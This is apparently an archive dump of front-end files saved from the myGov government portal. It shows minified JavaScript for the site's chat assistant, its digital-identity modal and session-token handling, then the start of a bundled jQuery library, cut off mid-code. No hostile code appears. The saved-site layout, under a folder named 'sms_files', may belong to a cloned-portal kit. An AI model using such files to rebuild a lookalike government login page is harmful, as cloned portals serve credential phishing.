mobileLargeClass="",vaOpenClass="";if(va_isOpen){mobileLargeClass=' class="va_mobileLarge" ';vaOpenClass=" va_open";}var mobileStyle='<div id="va_mobileBar" style="border-top: #d7ea6a 5px solid"'+mobileLargeClass+' aria-live="polite" >'+'<header class="va_header">'+'<h2 class="va_chatTitle_mob" aria-live="polite" id="va_chatTitle">'+headingTitle+"</h2>"+'<div role="button" style="border: 0; margin: 0;" id="va_mobileToggle" aria-live="polite" class="va_mobileToggle'+vaOpenClass+'" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_mobileToggle")+'"></div>'+"</header>"+"</div>";return mobileStyle;}function getDesktopHeader(){var rightMargin=calcRightMargin(),desktopHeaderSize="style='right:"+rightMargin+"'",vaExpanded="",resizeIconState="",resizeIconClass="";if(va_isOpen){vaExpanded=" va_expanded";resizeIconState='style="display: block;"';if(va_isMaximised){desktopHeaderSize='style="height:490px; width:600px; right:'+rightMargin+';"';resizeIconClass=" va_large";}else{desktopHeaderSize='style="height:455px; width:350px; right:'+rightMargin+';"';}}var desktopStyle='<div id="va_chatHeader" '+desktopHeaderSize+' aria-live="polite" title="'+titleBarTitle+'" aria-label="'+titleBarTitle+'">'+'<div class="va_chatBorder"></div>'+'<header class="va_header va_clearfix" style="box-shadow:0 0 3px rgba(0,0,0,.3)">'+'<h2 class="va_chatTitle" id="va_chatTitle" aria-live="polite" >'+headingTitle+"</h2>"+'<div id="va_resizeIcon" class="va_resizeIcon'+resizeIconClass+'" '+resizeIconState+' tabindex="0" aria-live="polite" title="'+getAltText("va_resizeIcon")+'" aria-label="'+getAltText("va_resizeIcon")+'" style="display: none"></div>'+'<div id="va_toggleIcon" class="va_toggleIcon'+vaExpanded+'" tabindex="0" aria-live="polite" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_toggleIcon")+'"></div>'+"</header>"+"</div>";return desktopStyle;}function getAltText(element){if(element=="va_toggleIcon"||element=="va_mobileToggle"){if(va_isOpen){return"Hide "+titleBarTitle;}else{return"Open "+titleBarTitle;}}else{if(element=="va_resizeIcon"){if(va_isMaximised){return"View "+titleBarTitle+" in a smaller window";}else{return"View "+titleBarTitle+" in a larger window";}}}}function setAltText(element){var resizeAlt=getAltText(element);jQuery("#"+element).prop("title",resizeAlt);jQuery("#"+element).attr("aria-label",resizeAlt);}function calcRightMargin(){var windowWidth=jQuery(window).width(),maxContainerWidth=960,rightMargin="2%";return rightMargin;}function insertDiv(){var rightMargin=calcRightMargin(),chatAnchor=document.createElement("div"),appendStyle=va_isMobile==true?getMobileHeader():getDesktopHeader();chatAnchor.id="va_chatAnchor";chatAnchor.className="va_chatAnchor";chatAnchor.zIndex=99999;chatAnchor.setAttribute("role","complementary");chatAnchor.setAttribute("aria-labelledBy","va_chatTitle");document.body.appendChild(chatAnchor);jQuery("#va_chatAnchor").append(appendStyle);}function insertIframe(){var iframe=document.createElement("iframe");iframe.id=iframe.name="va_iframe";iframe.className="va_iframe";iframe.style.zIndex=9999;iframe.style.background="#E5E5E5";iframe.style.right=calcRightMargin();iframe.style.overflow="hidden";jQuery("#va_chatAnchor").append(iframe);}function determineContext(){return"";}function insertIframeSrc(){va_chatStarted=true;var context=determineContext();var source=setDAsource();setIFrameSrc(source);}function setIFrameSrc(source){if(typeof source!="undefined"&&source!=""){jQuery.when(jQuery("#va_iframe").attr("aria-live","assertive").attr("aria-relevant","additions").attr("src",source+"#/wea")).done(function(){return true;});}}function sendGoogleAnalyltics(event){try{if(ga){var context=determineContext();ga("send","event","Digital Assistant",event,context+" VA");}}catch(error){}}function addTimer(){va_pushTimeout=setTimeout(function(){sendGoogleAnalyltics("Timeout");postMessageToIframe("timeout");va_pushTimeout=null;if(!va_isMobile){jQuery("#va_chatHeader").click();}else{jQuery("#va_mobileToggle").click();}},60000);}function disableBGScrolling(){document.body.style.overflow="hidden";document.body.style.position="fixed";}function enableBGScrolling(){document.body.style.overflow="";document.body.style.position="";}function toggleVAMobile(){var toggleWidth=va_isOpen?"0px":"100%",toggleHeight=va_isOpen?"0px":(jQuery(window).height()-50);jQuery("#va_iframe").css({width:toggleWidth,height:toggleHeight,right:"0px",top:"50px"});jQuery("#va_mobileBar").toggleClass("va_mobileLarge");jQuery("#va_mobileToggle").toggleClass("va_open");va_isOpen=!va_isOpen;setAltText("va_mobileToggle");if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});disableBGScrolling();}else{enableBGScrolling();}}function addOnClickMobile(){jQuery("#va_mobileToggle").on("click",function(){sendGoogleAnalyltics("Mobile click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVAMobile();});}function isWindowMobile(){if(typeof window.matchMedia!=="undefined"){return window.matchMedia("screen and (max-width: 599px), screen and (max-height: 490px)").matches;}return jQuery(window).width()<600;}function responsiveResize(){var isNewScreenMobile=isWindowMobile();var responsiveHeight=0,responsiveWidth=0,responsiveRight="",responsiveTop="",responsiveBottom="",rightMargin=calcRightMargin();if(isNewScreenMobile){if(!va_isMobile){jQuery("#va_chatHeader").replaceWith(getMobileHeader());jQuery("#va_iframe").css("display","");addOnClickMobile();}if(va_isOpen){disableBGScrolling();responsiveHeight=jQuery(window).height()-50;responsiveWidth=jQuery(window).width();responsiveRight="0px";responsiveTop="50px";}}else{enableBGScrolling();if(va_isMobile){jQuery("#va_mobileBar").replaceWith(getDesktopHeader());addOnClickDesktop();addOnResize();}else{jQuery("#va_chatHeader").css({right:rightMargin});}if(va_isOpen){responsiveBottom="0px";if(va_isMaximised){responsiveHeight=435;responsiveWidth=600;}else{responsiveHeight=400;responsiveWidth=350;}}responsiveRight=rightMargin;}jQuery("#va_iframe").css({height:responsiveHeight,width:responsiveWidth,right:responsiveRight,top:responsiveTop,bottom:responsiveBottom});va_isMobile=isNewScreenMobile;}function toggleVADesktop(){var ariaHidden=va_isOpen?"true":"false";if(va_isMaximised){var toggleHeight=va_isOpen?"0px":"435px",toggleWidth=va_isOpen?"0px":"600px",headerHeight=va_isOpen?"55px":"490px",headerWidth=va_isOpen?"350px":"600px";}else{var toggleHeight=va_isOpen?"0px":"400px",toggleWidth=va_isOpen?"0px":"350px",headerHeight=va_isOpen?"55px":"455px",headerWidth="350px";}if(!va_isOpen){if(va_isMaximised){jQuery("#va_iframe").animate({height:toggleHeight,width:toggleWidth});if(!jQuery("#va_resizeIcon").hasClass("va_large")){jQuery("#va_resizeIcon").addClass("va_large");}}else{jQuery("#va_iframe").animate({height:toggleHeight});jQuery("#va_iframe").css({width:toggleWidth});}jQuery("#va_iframe").css("display","inline-block");postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}else{jQuery("#va_iframe").animate({height:toggleHeight,width:"350px"});setTimeout(function(){jQuery("#va_iframe").css({width:toggleWidth,display:"none"});},500);}jQuery("#va_chatHeader").animate({height:headerHeight,width:headerWidth},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:headerWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggle();jQuery("#va_toggleIcon").toggleClass("va_expanded");jQuery("#va_skipToConversation").toggleClass("active");jQuery("#va_skipToConversation").attr("aria-hidden",ariaHidden);postMessageToIframe("setAriaHiddenTags"+ariaHidden);va_isOpen=!va_isOpen;setAltText("va_toggleIcon");return true;}function addOnClickDesktop(){jQuery("#va_chatHeader").on("click",function(e){sendGoogleAnalyltics("Desktop click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVADesktop();return false;});jQuery("#va_toggleIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_chatHeader").click();}});}function addOnResize(){jQuery("#va_resizeIcon").on("click",function(e){resizeVA();e.stopPropagation();return false;});jQuery("#va_resizeIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_resizeIcon").click();e.stopPropagation();}});}function resizeVA(){var resizeWidth=va_isMaximised?"350px":"600px",resizeHeight=va_isMaximised?"400px":"435px",resizeHeaderHeight=va_isMaximised?"455px":"490px",resizeHeaderWidth=va_isMaximised?"350px":"600px";jQuery("#va_chatHeader").animate({width:resizeHeaderWidth,height:resizeHeaderHeight},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:resizeHeaderWidth},{duration:400,queue:false});jQuery("#va_iframe").animate({height:resizeHeight,width:resizeWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggleClass("va_large");va_isMaximised=!va_isMaximised;setAltText("va_resizeIcon");}function addOnBackwardsTabbing(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackward");e.preventDefault();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function loopFocusBackwardWithError(){jQuery("#va_resizeIcon").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardWithError");e.preventDefault();}});}function addSkipToConversationTabListener(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardOptionButton");e.stopPropagation();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function addOnSkipToConversation(){jQuery("#va_skipToConversation").on("click",function(e){postMessageToIframe("skiptoConversation");e.stopPropagation();return false;});addOnBackwardsTabbing();}function addSkipToBot(){var skipLinks=jQuery(".skip-links");var skipLinkClass="";if(skipLinks.length==0){skipLinks=jQuery(".uikit-skip-link");skipLinkClass='class="uikit-skip-link__link"';}skipLinks.append("<a "+skipLinkClass+' id="va_skipToBot" href="#">Skip to '+titleBarTitle+"</a>");jQuery("#va_skipToBot").on("click",function(e){if(!va_isMobile){jQuery("#va_toggleIcon").focus();}else{jQuery("#va_mobileToggle").click();}e.stopPropagation();return false;});}function hideSkipToConversation(){jQuery("#va_skipToConversation").hide();jQuery("#va_skipToConversation").attr("aria-hidden","true");}function skipToSkipToConversation(){jQuery("#va_skipToConversation").focus();}function skipToResizeIcon(){jQuery("#va_resizeIcon").focus();}function postMessageToIframe(message){window.parent.document.getElementById("va_iframe").contentWindow.postMessage(message,"*");}function addListenerForIframe(){window.addEventListener("message",function(e){if(e.data&&e.data.type=="error"){e.stopPropagation();jQuery("#va_chatAnchor").hide();}else{if(e.data&&e.data.type=="interaction"){e.stopPropagation();recordBotInteraction(new Date());}else{if(e.data&&e.data.type=="ready"){e.stopPropagation();if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}jQuery("#va_chatAnchor").show();}else{if(e.data&&e.data.type=="reload"){e.stopPropagation();if(va_isOpen){if(va_isMobile){toggleVAMobile();}else{toggleVADesktop();}}}else{if(e.data=="loopFocusForward"){skipToSkipToConversation();e.stopPropagation();}else{if(e.data=="loopFocusForwardError"){setTimeout(function(){skipToResizeIcon();},100);e.stopPropagation();}else{if(e.data=="addOnBackwardsTabbing"){addOnBackwardsTabbing();}else{if(e.data=="loopFocusForwardOptionButton"){skipToSkipToConversation();addSkipToConversationTabListener();}else{if(e.data=="errorDisplayed"){hideSkipToConversation();loopFocusBackwardWithError();}else{if(e.data=="textboxFocus"){setTimeout(function(){scrollPageToBottom();},100);}}}}}}}}}}});}function addDigitalAssistant(){va_isMobile=isWindowMobile();insertDiv();insertIframe();insertIframeSrc();addOnResize();addSkipToBot();addOnSkipToConversation();addListenerForIframe();addOnClickDesktop();addOnClickMobile();window.addEventListener("resize",responsiveResize);}function scrollPageToBottom(){window.scrollTo(0,document.body.scrollHeight);}function isIE(){var myNav=navigator.userAgent.toLowerCase();return(myNav.indexOf("msie")!=-1)?parseInt(myNav.split("msie")[1]):false;}function newShowIdentityModal(){const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-hide");modalBackground.classList.add("new-fade");modalBackground.classList.add("new-show");const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","true");modalContent.classList.remove("new-hide");modalContent.classList.add("new-slide-in");modalContent.setAttribute("aria-modal","true");modalContent.setAttribute("aria-expanded","true");modalContent.setAttribute("aria-hidden","false");document.getElementById("first-dismiss").focus();document.getElementById("identity-display-form").addEventListener("submit",ignoreSubmit);document.getElementById("digital-id-modal-background").addEventListener("click",newHideIdentityModal);document.addEventListener("keydown",handleKeyboardInput);if(window.dynaTrace){var action=window.dynaTrace.enterAction("showIdentityModal","click");window.dynaTrace.leaveAction(action);}}function ignoreSubmit(event){event.preventDefault();return false;}function handleKeyboardInput(trigger){if(trigger.code){switch(trigger.code){case"Escape":keyboardDismiss();break;case"Tab":const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){trapFocusPrimary(trigger);}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){trapFocusSecondary(trigger);}break;case"Enter":if(document.activeElement===document.getElementById("decline-digital-identity")){trigger.preventDefault();document.getElementById("decline-digital-identity").checked=true;}if(document.activeElement===document.getElementById("confirm-digital-identity")){trigger.preventDefault();document.getElementById("confirm-digital-identity").checked=true;}document.getElementById("identity-first-confirm-button").disabled=false;break;}}}function trapFocusPrimary(event){var focusableElements=[document.getElementById("first-dismiss"),document.getElementById("decline-digital-identity"),document.getElementById("confirm-digital-identity"),document.getElementById("identity-first-confirm-button")];var firstFocused=focusableElements[0];var lastFocused=focusableElements[3];if(lastFocused.disabled){lastFocused=focusableElements[1];}if(event.shiftKey&&event.keyCode===9){if(document.activeElement===firstFocused){lastFocused.focus();event.preventDefault();}}else{if(document.activeElement===lastFocused){firstFocused.focus();event.preventDefault();}}}function removeSelection(){document.getElementById("confirm-digital-identity").checked=false;document.getElementById("decline-digital-identity").checked=false;document.getElementById("identity-first-confirm-button").disabled=true;}function trapFocusSecondary(event){var focusableElements=[document.getElementById("second-dismiss"),document.getElementById("return-to-mygov-link"),document.getElementById("identity-second-confirm-button")];var first=focusableElements[0];var last=focusableElements[2];if(event.shiftKey&&event.keyCode===9){if(document.activeElement===first){last.focus();event.preventDefault();}else{if(document.activeElement===focusableElements[1]){first.focus();event.preventDefault();}}}else{if(document.activeElement===last){first.focus();event.preventDefault();}}}function keyboardDismiss(){const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){newHideIdentityModal();}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){hideSecondaryModal();}}function enableProgressButton(){const button=document.getElementById("identity-first-confirm-button");button.disabled=false;}function summonSecondModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("hidden");secondaryModal.classList.add("shown");secondaryModal.setAttribute("open","true");secondaryModal.setAttribute("aria-modal","true");secondaryModal.setAttribute("aria-expanded","true");secondaryModal.setAttribute("aria-hidden","false");document.getElementById("second-dismiss").focus();}function hideSecondaryModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("shown");secondaryModal.classList.add("hidden");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("aria-modal","false");secondaryModal.setAttribute("aria-expanded","false");secondaryModal.setAttribute("aria-hidden","true");fadeOutBackground();}function harshHideIdentityModal(){const modalContent=document.getElementById("new-modal-content");modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");summonSecondModal();}function fadeOutBackground(){document.getElementById("digital-id-modal-background").removeEventListener("click",newHideIdentityModal);const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-fade");modalBackground.classList.remove("new-show");modalBackground.classList.add("new-fade-out");removeSelection();setTimeout(function(){modalBackground.classList.remove("new-fade-out");modalBackground.classList.add("new-hide");},199);}function newHideIdentityModal(){const secondaryModal=document.getElementById("secondary-identity-modal");if(secondaryModal.classList.contains("shown")){hideSecondaryModal();}fadeOutBackground();const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","false");modalContent.classList.add("new-slide-out");setTimeout(function(){modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");},999);}$("#identity-first-confirm-button").on("click",function(e){e.preventDefault();if(document.getElementById("confirm-digital-identity").checked===false){if(window.dynaTrace){var noIdentityAction=window.dynaTrace.enterAction("identityNotConnected","click");window.dynaTrace.leaveAction(noIdentityAction);}harshHideIdentityModal();return false;}else{if(window.dynaTrace){var hasIdentityAction=window.dynaTrace.enterAction("identityConnected","click");window.dynaTrace.leaveAction(hasIdentityAction);}window.location=document.getElementById("identity-first-confirm-button").getAttribute("data-kickoff-url");return false;}});var lastInteractionDate;var timeoutEventId;function getToken(isAuthenticated){var xhttp=new XMLHttpRequest();var jsontext;xhttp.onreadystatechange=function(){try{if(this.readyState==4&&this.status==200){var jsontext=JSON.parse(this.responseText);storage.save(jsontext);var source=sessionStorage.url+sessionStorage.jwt;if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){source="";storage.clear();}}setIFrameSrc(source);}}catch(e){storage.clear();}};var host=window.location.hostname;var tokenUrl="/mga/sps/apiauthsvc/policy/vagt";if(isAuthenticated&&typeof(Storage)!=="undefined"){xhttp.open("POST",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");var token=sessionStorage.jwt;xhttp.send(JSON.stringify({token:token}));}else{xhttp.open("GET",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");xhttp.send();}return sessionStorage.jwt;}function isValidToken(token){var decodedToken=parseToken(token);if(decodedToken.exp>Date.now()/1000){return true;}return false;}function parseToken(token){var base64Url=token.split(".")[1];var base64=base64Url.replace(/-/g,"+").replace(/_/g,"/");return JSON.parse(window.atob(base64));}function checkAuthenticated(){var isAuthenticated=false;var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}else{if(isLoginPage){isAuthenticated=false;}}return isAuthenticated;}function setDAsource(){var isAuthenticated=false;var daSrc="";var token="";var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage){isAuthenticated=true;token=getToken(isAuthenticated);}else{if(isLoginPage){isAuthenticated=false;storage.clear();token=getToken(isAuthenticated);}else{if(storage.check()&&isValidToken(sessionStorage.jwt)){daSrc=sessionStorage.url+sessionStorage.jwt;}else{if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}token=getToken(isAuthenticated);if(typeof token!="undefined"&&storage.check()){daSrc=sessionStorage.url+token;}}}}if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){daSrc="";}}return daSrc;}function recordBotInteraction(currentInteractionDate){var timeoutValue=300000;var diff=(currentInteractionDate-lastInteractionDate);if(typeof timeoutEventId=="undefined"||typeof lastInteractionDate=="undefined"){timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}else{if(diff<timeoutValue){clearTimeout(timeoutEventId);timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}}lastInteractionDate=currentInteractionDate;}function initiateNewConversation(){var isAuthenticated=checkAuthenticated();if(!isAuthenticated){getToken(isAuthenticated);}}var storage={save:function(result){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}if(typeof result!="undefined"&&typeof(Storage)!=="undefined"){sessionStorage.url=result["url"];sessionStorage.jwt=result["jwt"];sessionStorage.aut=result["authenticated"];sessionStorage.dis=result["enable"];}},clear:function(){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}},check:function(){if(typeof(Storage)!=="undefined"){if(sessionStorage.jwt&&sessionStorage.url){return true;}else{return false;}}}};function isWebView(){var userAgent=window.navigator.userAgent.toLowerCase();var safari=/safari/.test(userAgent);var ios=/iphone|ipod|ipad/.test(userAgent);if(ios){if(!safari){return true;}}else{return false;}}$(document).ready(function(){if($("#digitalassistant").length>0||($("#digitalassistant-auth").length>0)){if(!isWebView()){addDigitalAssistant();}}});$(document).ready(function(){(function($){$(":radio[data-cadi-flow]").on("change",function(){var selected=this.value;switch(selected){case"digitalID":jQuery("#connectedIdButton").hide();jQuery("#digitalIdButton").show();break;case"connectedID":jQuery("#connectedIdButton").show();jQuery("#digitalIdButton").hide();break;default:}});})(jQuery);});mygov/app/sms_files/mgv2-vendor.js.download000064400000450717151676702570015021 0ustar00/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||r.isFunction(g)||(g={}),h===i&&(g=this,h--);h<i;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(r.isPlainObject(d)||(e=Array.isArray(d)))?(e?(e=!1,f=c&&Array.isArray(c)?c:[]):f=c&&r.isPlainObject(c)?c:{},g[b]=r.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},r.extend({expando:"jQuery"+(q+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===r.type(a)},isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){var b=r.type(a);return("number"===b||"string"===b)&&!isNaN(a-parseFloat(a))},isPlainObject:function(a){var b,c;return!(!a||"[object Object]"!==k.call(a))&&(!(b=e(a))||(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?j[k.call(a)]||"object":typeof a},globalEval:function(a){p(a)},camelCase:function(a){return a.replace(t,"ms-").replace(u,v)},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(s,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(w(Object(a))?r.merge(c,"string"==typeof a?[a]:a):h.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:i.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;d<c;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;f<g;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,f=0,h=[];if(w(a))for(d=a.length;f<d;f++)e=b(a[f],f,c),null!=e&&h.push(e);else for(f in a)e=b(a[f],f,c),null!=e&&h.push(e);return g.apply([],h)},guid:1,proxy:function(a,b){var c,d,e;if("string"==typeof b&&(c=a[b],b=a,a=c),r.isFunction(a))return d=f.call(arguments,2),e=function(){return a.apply(b||this,d.concat(f.call(arguments)))},e.guid=a.guid=a.guid||r.guid++,e},now:Date.now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"length"in a&&a.length,c=r.type(a);return"function"!==c&&!r.isWindow(a)&&("array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c<d;c++)if(a[c]===b)return c;return-1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",M="\\["+K+"*("+L+")(?:"+K+"*([*^$|!~]?=)"+K+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+L+"))|)"+K+"*\\]",N=":("+L+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+M+")*)|.*)\\)|)",O=new RegExp(K+"+","g"),P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var 